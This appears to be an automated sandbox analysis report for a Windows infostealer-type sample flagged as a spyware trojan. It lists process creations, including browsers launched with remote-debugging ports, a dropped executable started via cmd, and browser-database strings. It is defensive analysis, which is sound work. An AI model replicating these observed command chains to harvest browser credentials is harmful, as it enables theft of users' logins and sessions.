Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700FE0	0_2_6C700FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840F20	0_2_6C840F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EFB0	0_2_6C70EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D4840	0_2_6C7D4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750820	0_2_6C750820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A820	0_2_6C78A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8068E0	0_2_6C8068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738960	0_2_6C738960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81C9E0	0_2_6C81C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756900	0_2_6C756900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7349F0	0_2_6C7349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C09B0	0_2_6C7C09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7909A0	0_2_6C7909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77CA70	0_2_6C77CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B8A30	0_2_6C7B8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AEA00	0_2_6C7AEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77EA80	0_2_6C77EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C806BE0	0_2_6C806BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0BA0	0_2_6C7A0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82A480	0_2_6C82A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718460	0_2_6C718460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A430	0_2_6C78A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764420	0_2_6C764420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7464D0	0_2_6C7464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79A4D0	0_2_6C79A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0570	0_2_6C7A0570
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_010231A8	21_2_010231A8
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_01027049	21_2_01027049
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_01028860	21_2_01028860
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_010278BB	21_2_010278BB
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_00FE4B30	21_2_00FE4B30
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_01022D10	21_2_01022D10
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_00FE4DE0	21_2_00FE4DE0
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_01017F36	21_2_01017F36
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: 21_2_0102779B	21_2_0102779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005A7049	22_2_005A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005A8860	22_2_005A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005A78BB	22_2_005A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005A31A8	22_2_005A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00564B30	22_2_00564B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005A2D10	22_2_005A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00564DE0	22_2_00564DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00597F36	22_2_00597F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005A779B	22_2_005A779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C723620 appears 33 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8809D0 appears 121 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88DAE0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005780C0 appears 130 times
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Code function: String function: 00FF80C0 appears 130 times

Source: dc7d43171c.exe.25.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.25.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2640849863.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: vqawkyna ZLIB complexity 0.9945632039122703

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/304@24/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\DRQPE2AE.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9148:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\d17d4156-013f-4ee1-95c7-83fd3952be86.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2635803123.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2294266369.000000001DC69000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2378111876.000000001DC5D000.00000004.00000020.00020000.00000000.sdmp, CBKJKJDBFIIDHJKEHJEH.0.dr, KFIJJJEBGCFBGDHIDGCA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2631800664.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 28%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIDAEBGCAAE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,11971315861859452185,10577114288193225455,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,1445881539410520989,17626982069189835471,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2740 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6888 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDAEBGCAAE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDAEBGCAAE.exe "C:\Users\user\DocumentsIDAEBGCAAE.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6956 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDAEBGCAAE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,11971315861859452185,10577114288193225455,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,1445881539410520989,17626982069189835471,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2740 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6888 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6956 --field-trial-handle=2632,i,4866512348562982450,7915390176854632171,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDAEBGCAAE.exe "C:\Users\user\DocumentsIDAEBGCAAE.exe"
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
